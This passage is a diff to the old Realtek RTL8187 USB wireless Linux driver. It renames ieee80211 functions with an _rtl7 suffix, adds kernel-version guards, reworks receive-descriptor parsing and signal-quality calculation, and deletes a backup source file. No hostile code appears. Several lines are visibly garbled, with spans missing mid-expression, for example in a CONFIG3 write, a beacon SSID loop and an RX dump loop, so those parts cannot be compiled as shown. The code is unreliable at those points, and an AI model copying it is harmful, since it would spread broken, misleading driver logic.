priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1975,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2010,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2039,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2129,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2195,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2218,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2232,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2276,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2415,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2433,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2453,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2464,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2477,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2587,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2606,22 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - +#endif + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2630,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2678,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2695,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2712,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2725,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2740,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c~ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c~ --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c~ 2006-06-22 07:40:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,2527 +0,0 @@ -/* - This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 - Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton - from Patric Schenke & Andres Salomon. - - Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - - some ideas might be derived from David Young rtl8180 netbsd driver. - - Parts of the usb code are from the r8150.c driver in linux kernel - - Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the - Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - - Please note that this file is a modified version from rtl8180-sa2400 - drv. So some other people have contributed to this project, and they are - thanked in the rtl8180-sa2400 CHANGELOG. -*/ - -#ifndef CONFIG_FORCE_HARD_FLOAT -double __floatsidf (int i) { return i; } -unsigned int __fixunsdfsi (double d) { return d; } -double __adddf3(double a, double b) { return a+b; } -double __addsf3(float a, float b) { return a+b; } -double __subdf3(double a, double b) { return a-b; } -double __extendsfdf2(float a) {return a;} -#endif - -#undef LOOP_TEST -#undef DUMP_RX -#undef DUMP_TX -#undef DEBUG_TX_DESC2 -#undef RX_DONT_PASS_UL -#undef DEBUG_EPROM -#undef DEBUG_RX_VERBOSE -#undef DUMMY_RX -#undef DEBUG_ZERO_RX -#undef DEBUG_RX_SKB -#undef DEBUG_TX_FRAG -#undef DEBUG_RX_FRAG -#undef DEBUG_TX_FILLDESC -#undef DEBUG_TX -#undef DEBUG_IRQ -#undef DEBUG_RX -#undef DEBUG_RXALLOC -#undef DEBUG_REGISTERS -#undef DEBUG_RING -#undef DEBUG_IRQ_TASKLET -#undef DEBUG_TX_ALLOC -#undef DEBUG_TX_DESC - -//#define CONFIG_RTL8180_IO_MAP - -#include "r8180_hw.h" -#include "r8187.h" -#include "r8180_rtl8225.h" /* RTL8225 Radio frontend */ -#include "r8180_93cx6.h" /* Card EEPROM */ -#include "r8180_wx.h" - - -// FIXME: check if 2.6.7 is ok -#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) -#define usb_kill_urb usb_unlink_urb -#endif - -#ifdef CONFIG_RTL8180_PM -#include "r8180_pm.h" -#endif - -#ifndef USB_VENDOR_ID_REALTEK -#define USB_VENDOR_ID_REALTEK 0x0bda -#endif -#ifndef USB_VENDOR_ID_NETGEAR -#define USB_VENDOR_ID_NETGEAR 0x0846 -#endif - -static struct usb_device_id rtl8187_usb_id_tbl[] = { - {USB_DEVICE(USB_VENDOR_ID_REALTEK, 0x8187)}, - {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6100)}, - {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6a00)}, - - {} -}; - -static char* ifname = "wlan%d"; -#if 0 -static int hwseqnum = 0; -static int hwwep = 0; -#endif -static int channels = 0x3fff; - -MODULE_LICENSE("GPL"); -MODULE_VERSION("V 1.1"); -MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); -MODULE_AUTHOR("Andrea Merello "); -MODULE_DESCRIPTION("Linux driver for Realtek RTL8187 WiFi cards"); - -#if 0 -MODULE_PARM(ifname,"s"); -MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); - -MODULE_PARM(hwseqnum,"i"); -MODULE_PARM_DESC(hwseqnum," Try to use hardware 802.11 header sequence numbers. Zero=default"); - -MODULE_PARM(hwwep,"i"); -MODULE_PARM_DESC(hwwep," Try to use hardware WEP support. Still broken and not available on all cards"); - -MODULE_PARM(channels,"i"); -MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); -#endif - -#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 9) -module_param(ifname, charp, S_IRUGO|S_IWUSR ); -//module_param(hwseqnum,int, S_IRUGO|S_IWUSR); -//module_param(hwwep,int, S_IRUGO|S_IWUSR); -module_param(channels,int, S_IRUGO|S_IWUSR); -#else -MODULE_PARM(ifname, "s"); -//MODULE_PARM(hwseqnum,"i"); -//MODULE_PARM(hwwep,"i"); -MODULE_PARM(channels,"i"); -#endif - -MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); -//MODULE_PARM_DESC(hwseqnum," Try to use hardware 802.11 header sequence numbers. Zero=default"); -//MODULE_PARM_DESC(hwwep," Try to use hardware WEP support. Still broken and not available on all cards"); -MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); - -static int __devinit rtl8187_usb_probe(struct usb_interface *intf, - const struct usb_device_id *id); - -static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); - -static struct usb_driver rtl8187_usb_driver = { - -#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 16) - .owner = THIS_MODULE, -#endif - .name = RTL8187_MODULE_NAME, /* Driver name */ - .id_table = rtl8187_usb_id_tbl, /* PCI_ID table */ - .probe = rtl8187_usb_probe, /* probe fn */ - .disconnect = rtl8187_usb_disconnect, /* remove fn */ -#ifdef CONFIG_RTL8180_PM - .suspend = rtl8180_suspend, /* PM suspend fn */ - .resume = rtl8180_resume, /* PM resume fn */ -#else - .suspend = NULL, /* PM suspend fn */ - .resume = NULL, /* PM resume fn */ -#endif -}; - - -void write_nic_byte_E(struct net_device *dev, int indx, u8 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xfe00, 0, &data, 1, HZ / 2); -} - - -void write_nic_byte(struct net_device *dev, int indx, u8 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 1, HZ / 2); -} - - -void write_nic_word(struct net_device *dev, int indx, u16 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 2, HZ / 2); -} - - -void write_nic_dword(struct net_device *dev, int indx, u32 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 4, HZ / 2); -} - - - -u8 read_nic_byte(struct net_device *dev, int indx) -{ - u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 1, HZ / 2); - return data; -} - -u8 read_nic_byte_E(struct net_device *dev, int indx) -{ - u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xfe00, 0, &data, 1, HZ / 2); - return data; -} - - -u16 read_nic_word(struct net_device *dev, int indx) -{ - u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 2, HZ / 2); - return data; -} - - -u32 read_nic_dword(struct net_device *dev, int indx) -{ - u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 4, HZ / 2); - return data; -} - -/* this might still called in what was the PHY rtl8185/rtl8187 common code - * plans are to possibilty turn it again in one common code... - */ -inline void force_pci_posting(struct net_device *dev) -{ -} - - -//irqreturn_t rtl8180_interrupt(int irq, void *netdev, struct pt_regs *regs); -//void set_nic_rxring(struct net_device *dev); -//void 